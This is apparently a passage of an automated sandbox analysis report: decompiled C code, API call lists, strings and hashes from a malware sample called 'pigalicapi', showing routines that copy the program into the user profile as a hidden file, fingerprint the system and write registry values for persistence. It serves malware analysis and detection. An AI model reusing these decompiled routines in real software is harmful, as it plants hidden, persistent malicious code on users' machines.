				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E00EC7D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E00EC4AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E00EC97A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E00EC7D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E00EC7D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E00EC4BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E00EC97C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

0x00ec4026
0x00ec402e
0x00ec405a
0x00ec405f
0x00ec4066
0x00ec406f
0x00ec4080
0x00ec4086
0x00ec408a
0x00ec408d
0x00ec409f
0x00ec40af
0x00ec40b9
0x00ec40c6
0x00ec40cc
0x00ec40d3
0x00ec40d3
0x00ec40da
0x00ec40de
0x00ec40e6
0x00ec40ec
0x00ec40ec
0x00ec40f7
0x00ec4101
0x00ec4118
0x00ec411e
0x00ec413d
0x00ec4143
0x00ec4153
0x00ec4158
0x00ec415b
0x00ec416d
0x00ec417f
0x00ec418e
0x00ec4193
0x00ec4199
0x00ec419f
0x00ec41a5
0x00ec41af
0x00ec41bb
0x00ec41d2
0x00ec41bd
0x00ec41c7
0x00ec41c7
0x00ec41e3
0x00ec41f7
0x00ec4203
0x00ec420c
0x00ec4216
0x00ec416a
0x00ec416a
0x00ec422d
0x00ec4242
0x00ec4249
0x00ec424b
0x00ec424b
0x00ec425e
0x00ec4265
0x00ec426d
0x00ec426d
0x00ec4277
0x00ec4281
0x00ec428e
0x00ec4294
0x00ec429b
0x00ec429b
0x00ec42a6
0x00ec42af
0x00ec42b6
0x00ec42bb
0x00ec42c4
0x00ec409c
0x00000000
0x00000000
0x00ec42c6
0x00000000
0x00ec42c4
0x00ec42d1
0x00ec42d1
0x00ec42dd

APIs

InitializeCriticalSection.KERNEL32(?), ref: 00EC4066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00EC407A
EnterCriticalSection.KERNEL32(?,?), ref: 00EC40AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC40C6
TerminateThread.KERNEL32(00000000,00000000), ref: 00EC40E6
ResetEvent.KERNEL32(00000000), ref: 00EC40F7
LeaveCriticalSection.KERNEL32(?), ref: 00EC4101
CreateThread.KERNEL32 ref: 00EC4118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00EC41DD
CreateThread.KERNEL32 ref: 00EC41F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00EC420C
FindCloseChangeNotification.KERNEL32(?), ref: 00EC4216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00EC422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 00EC423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00EC4258
TerminateThread.KERNEL32(00000000,00000000), ref: 00EC426D
EnterCriticalSection.KERNEL32(?), ref: 00EC4277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC428E
LeaveCriticalSection.KERNEL32(?), ref: 00EC42A6
DeleteCriticalSection.KERNEL32(?,?), ref: 00EC42D1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: b48fc0f9dc3221207a7e0263be1c0e8d0c2115b2a04160a9ffafe0b7f5af886c
Instruction ID: 248851b33a1bdc1cd63fdd84d52651edfe7432d4a5a1e739e8bcc9fb634e6b65
Opcode Fuzzy Hash: b48fc0f9dc3221207a7e0263be1c0e8d0c2115b2a04160a9ffafe0b7f5af886c
Instruction Fuzzy Hash: 259134B0900208EFEB14DFA5D99AFEEBBB1BB08304F244119F905BB2D0D7769946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1120 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00EC1120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0);
						SetFileAttributesA( &_v556, 6);
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E00EC97A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E00EC12D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E00EC97C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

0x00ec1129
0x00ec1134
0x00ec1168
0x00ec1175
0x00ec119b
0x00ec1177
0x00ec1182
0x00ec1182
0x00ec11bd
0x00ec11d9
0x00ec11f0
0x00ec11ff
0x00ec1210
0x00ec1210
0x00ec1223
0x00ec122f
0x00ec1238
0x00ec1249
0x00ec125d
0x00ec1274
0x00ec127a
0x00ec1287
0x00ec12a6
0x00ec12b3
0x00ec1289
0x00ec128d
0x00ec1298
0x00ec1298
0x00ec129a
0x00ec129a
0x00ec1287
0x00ec12c1

APIs

lstrlenA.KERNEL32(00000000), ref: 00EC1148
lstrlenA.KERNEL32(00000000), ref: 00EC115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 00EC1182

Part of subcall function 00EC97C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EC97CF
Part of subcall function 00EC97C0: HeapFree.KERNEL32(00000000), ref: 00EC97D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 00EC119B
wnsprintfA.SHLWAPI ref: 00EC11BD
lstrcmpiA.KERNEL32(00000104,?), ref: 00EC11D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 00EC11F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 00EC11FF
lstrcpyA.KERNEL32(00000104,?), ref: 00EC1210
lstrcpyA.KERNEL32(00000000,?), ref: 00EC1249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 00EC125D
CreateThread.KERNEL32 ref: 00EC1274

Strings

USERPROFILE, xrefs: 00EC1196
/<, xrefs: 00EC128F
%s\%s.exe, xrefs: 00EC11AC

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$/<$USERPROFILE
API String ID: 1231128424-2363680879
Opcode ID: bfeaa0a26a4a4c36e548b7772d81887d4b899eb68a4609204191955bd676fc63
Instruction ID: da95e1ee1041e081d4798e6975e54a3d174bbe68467864d118d8e3fcccc8e6eb
Opcode Fuzzy Hash: bfeaa0a26a4a4c36e548b7772d81887d4b899eb68a4609204191955bd676fc63
Instruction Fuzzy Hash: C0419275900208EFDB14CFA1DD89FDE77B8AF49704F108198FA09A6291D776DA86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00EC5700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E00EC8F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104);
					E00EC1CA0(_a4 + 0x204, 0x104); // executed
					E00EC9D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E00EC7B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E00EC5CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E00EC7D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0xed435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						CloseHandle(_v32);
					}
					_v5 = 1;
				}
				return _v5;
			}

0x00ec5709
0x00ec5711
0x00ec5729
0x00ec5742
0x00ec5756
0x00ec576e
0x00ec5786
0x00ec5798
0x00ec57a3
0x00ec57b8
0x00ec57cc
0x00ec57d4
0x00ec57e4
0x00ec580a
0x00ec57e6
0x00ec57f1
0x00ec57f1
0x00ec582f
0x00ec5854
0x00ec585a
0x00ec5861
0x00ec5873
0x00ec5880
0x00ec5896
0x00ec589c
0x00ec58a9
0x00ec58ab
0x00ec58d0
0x00ec58e2
0x00ec5912
0x00ec58e4
0x00ec58ed
0x00ec58fc
0x00ec58fc
0x00ec58e2
0x00ec58a9
0x00ec591c
0x00ec591c
0x00ec5922
0x00ec5922
0x00ec592c

APIs

Part of subcall function 00EC8F80: GetVersionExA.KERNEL32(0000009C), ref: 00EC8FF7
Part of subcall function 00EC8F80: GetSystemInfo.KERNEL32(?), ref: 00EC9009
Part of subcall function 00EC8F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 00EC902E
Part of subcall function 00EC8F80: lstrcatA.KERNEL32(00000000,_x64), ref: 00EC9222
Part of subcall function 00EC8F80: lstrlenA.KERNEL32(?), ref: 00EC922F
Part of subcall function 00EC8F80: lstrcatA.KERNEL32(00000000,00ECC980), ref: 00EC9242
Part of subcall function 00EC8F80: lstrcatA.KERNEL32(00000000,?), ref: 00EC9253
Part of subcall function 00EC8F80: lstrlenA.KERNEL32(00000000), ref: 00EC925D
Part of subcall function 00EC8F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 00EC9275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 00EC5742

Part of subcall function 00EC1CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EC1CB1
Part of subcall function 00EC1CA0: Process32First.KERNEL32(000000FF,00000128), ref: 00EC1CE1
Part of subcall function 00EC1CA0: GetCurrentProcessId.KERNEL32 ref: 00EC1CEE
Part of subcall function 00EC1CA0: Process32First.KERNEL32(000000FF,00000128), ref: 00EC1D52
Part of subcall function 00EC1CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 00EC1D78
Part of subcall function 00EC1CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 00EC1D92
Part of subcall function 00EC1CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00EC1DA6
Part of subcall function 00EC1CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 00EC1DDC
Part of subcall function 00EC1CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,[W,00000000,?,00000004,00000000), ref: 00EC1DFB
Part of subcall function 00EC1CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,[W,00000000,?,00000004,00000000), ref: 00EC1E21
Part of subcall function 00EC1CA0: CloseHandle.KERNEL32(000000FF), ref: 00EC1E4B

Part of subcall function 00EC9D20: GetSystemDirectoryA.KERNEL32 ref: 00EC9D9A
Part of subcall function 00EC9D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 00EC9DDD
Part of subcall function 00EC9D20: StringFromCLSID.OLE32(00000020,?), ref: 00EC9EF7

Part of subcall function 00EC5CD0: lstrlenA.KERNEL32(00000000), ref: 00EC5CEB
Part of subcall function 00EC5CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC5D10
Part of subcall function 00EC5CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC5D29
Part of subcall function 00EC5CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC5D45
Part of subcall function 00EC5CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC5D6D
Part of subcall function 00EC5CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC5D99
Part of subcall function 00EC5CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00EC5DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 00EC57B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 00EC57F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 00EC580A
wnsprintfA.SHLWAPI ref: 00EC582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC5854
GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC5896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC58D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC5912
CloseHandle.KERNEL32(000000FF), ref: 00EC591C

Strings

pigalicapi, xrefs: 00EC57A9, 00EC5810
%s\%s.exe, xrefs: 00EC581C
USERPROFILE, xrefs: 00EC5805

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$CreateProcess$AllocChangeDirectoryFindFirstFreeHandleModuleNameNotificationProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 560841407-4090404022
Opcode ID: 8b4f5700cb1e1f78b68b698ba8a92cb6e54462e6f5f4500eaf7c5f6bebf58acc
Instruction ID: 2c0a4f80f66fdc37ea9c0d9f2446428b47bbe87315556ff7a9669e4524510c5c
Opcode Fuzzy Hash: 8b4f5700cb1e1f78b68b698ba8a92cb6e54462e6f5f4500eaf7c5f6bebf58acc
Instruction Fuzzy Hash: 8E5192B1900208EFDB10DF60DD5AFEA7774AB48704F148198F6097A2C2D775AA86CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00EC99F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00EC99F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

0x00ec99f9
0x00ec99fd
0x00ec9a19
0x00ec9b80
0x00000000
0x00ec9b80
0x00ec9a1f
0x00ec9a3a
0x00ec9a4a
0x00ec9b76
0x00ec9b7a
0x00000000
0x00ec9b7a
0x00ec9a56
0x00ec9a77
0x00ec9a7f
0x00000000
0x00000000
0x00ec9a8b
0x00ec9a91
0x00ec9aad
0x00ec9acb
0x00ec9ae6
0x00ec9b04
0x00ec9b1c
0x00ec9b3a
0x00ec9b52
0x00ec9b70
0x00000000
0x00000000
0x00000000
0x00ec9b72
0x00000000
0x00ec9b3c
0x00000000
0x00ec9b06
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00EC9A0A
OpenProcessToken.ADVAPI32(00000000), ref: 00EC9A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00EC9A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 00EC9A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 00EC9AAD
EqualSid.ADVAPI32(?,00000000), ref: 00EC9AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 00EC9AE6
EqualSid.ADVAPI32(?), ref: 00EC9AFC
CloseHandle.KERNEL32(?), ref: 00EC9B7A

Strings

D, xrefs: 00EC9A91

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 623dff6f2266327f4b5f32ff1a1c719dc527cb7b0e8faee6f2eb3ebbc02bd6f6
Instruction ID: 9a74f2682b26afed6707b17f575fe547c2df47607486e34f28099cd413d7e4d3
Opcode Fuzzy Hash: 623dff6f2266327f4b5f32ff1a1c719dc527cb7b0e8faee6f2eb3ebbc02bd6f6
Instruction Fuzzy Hash: 3941EE75A00218EFDB20CB51DD49FD9B3B9BF48700F10C1A8E549A6190DA719E47DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EC5A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E00EC7D20(_t27, "Ackxwgsxooono", 0, 0xe);
					lstrcpyA("Ackxwgsxooono", "WDefault");
					_t33 = E00EC5930(_a4 + 0x45b, "Ackxwgsxooono", 0xd); // executed
					E00EC7D20(_t33, _a8, 0, _a12);
					_t35 =  *0xed189c; // 0xecc4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0xed189c; // 0xecc4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Ackxwgsxooono");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E00EC7D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

0x00ec5a07
0x00ec5a12
0x00ec5a35
0x00ec5a47
0x00ec5a5d
0x00ec5a6f
0x00ec5a77
0x00ec5a86
0x00ec5a8c
0x00ec5a97
0x00ec5aa1
0x00ec5ab9
0x00ec5ac8
0x00ec5ace
0x00ec5ad5
0x00ec5adc
0x00ec5b00
0x00ec5b08
0x00ec5b20
0x00ec5b31
0x00ec5b0a
0x00ec5b0e
0x00ec5b0e
0x00ec5b41
0x00ec5b41
0x00ec5ab9
0x00ec5a86
0x00ec5b4b

APIs

lstrcpyA.KERNEL32(Ackxwgsxooono,WDefault), ref: 00EC5A47

Part of subcall function 00EC5930: CharUpperA.USER32(00000000), ref: 00EC59E2

lstrlenA.KERNEL32(00ECC4E0), ref: 00EC5A7D
lstrcpyA.KERNEL32(00000000,00ECC4E0), ref: 00EC5A97
lstrlenA.KERNEL32(00000000), ref: 00EC5AA1
lstrlenA.KERNEL32(Ackxwgsxooono), ref: 00EC5AAE
lstrcatA.KERNEL32(00000000,Ackxwgsxooono), ref: 00EC5AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 00EC5B00
RegCloseKey.KERNEL32(00000000), ref: 00EC5B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 00EC5B31
lstrlenA.KERNEL32(00000000), ref: 00EC5B3B

Strings

WDefault, xrefs: 00EC5A3D
software\microsoft\windows\currentversion\uninstall, xrefs: 00EC5B28
Ackxwgsxooono, xrefs: 00EC5A30, 00EC5A42, 00EC5A4F, 00EC5AA9, 00EC5ABF

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Ackxwgsxooono$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-3235977568
Opcode ID: a4d8e3a5552a49718be12a882221a6161b9e6d1f5f73e61383235332e1b9d9f5
Instruction ID: 454e8ff05321ea7681520e6c7218e48aa34f3f3b0e3e27a6d3f1999ea60e841d
Opcode Fuzzy Hash: a4d8e3a5552a49718be12a882221a6161b9e6d1f5f73e61383235332e1b9d9f5
Instruction Fuzzy Hash: D9316E76600308FFDB10DFA8DD4AFAA7BB4EB04704F109518FA19BB280D772A9568B50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC5F30() {
				char _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char _t27;
				CHAR* _t30;
				long _t37;

				_v9 = 0;
				_t27 =  *0xed18a0; // 0xed3b88
				_v8 = _t27;
				E00EC7D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0xed1898; // 0xed3fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0xed435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t10 =  &_v8; // 0xec3c58
				if(RegOpenKeyExA(_v16,  *_t10, 0, 0xf003f,  &_v20) == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E00EC9BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10);
					}
					RegCloseKey(_v20);
				}
				return _v9;
			}

0x00ec5f39
0x00ec5f3d
0x00ec5f42
0x00ec5f53
0x00ec5f67
0x00ec5f6d
0x00ec5f7a
0x00ec5f80
0x00ec5f90
0x00ec5f92
0x00ec5f92
0x00ec5f99
0x00ec5fab
0x00ec5fbb
0x00ec5fc1
0x00ec5fcb
0x00ec5ff2
0x00ec5ffa
0x00ec5ffc
0x00ec5ffc
0x00ec6000
0x00ec6006
0x00ec6008
0x00ec601b
0x00ec603b
0x00ec603b
0x00ec6045
0x00ec6045
0x00ec6051

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 00EC5F67
lstrcatA.KERNEL32(?,00ED3FE2), ref: 00EC5F7A
RegOpenKeyExA.ADVAPI32(80000001,X<,00000000,000F003F,00000000), ref: 00EC5FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 00EC5FF2
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 00EC603B
RegCloseKey.ADVAPI32(00000000), ref: 00EC6045

Strings

?, xrefs: 00EC5F6D
, xrefs: 00EC5FCB
pigalicapi, xrefs: 00EC5F5B
X<, xrefs: 00EC5FAB, 00EC5FAE
, xrefs: 00EC5FC1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $X<$pigalicapi$?
API String ID: 764223185-3904927168
Opcode ID: 65b5a18a5628443eb5895b5a307ff50125895e08b6a7c32edfa0e4af727c58c8
Instruction ID: 53dab171eb89f6a4674e774d285ed0650600d66a90d48f9e91be48293fcd52e7
Opcode Fuzzy Hash: 65b5a18a5628443eb5895b5a307ff50125895e08b6a7c32edfa0e4af727c58c8
Instruction Fuzzy Hash: 093154B590021CAFDB24CB91DC46FFEB778AB08704F04459CFA09B6281D7B65A45DF61

Uniqueness

Uniqueness Score: -1.00%

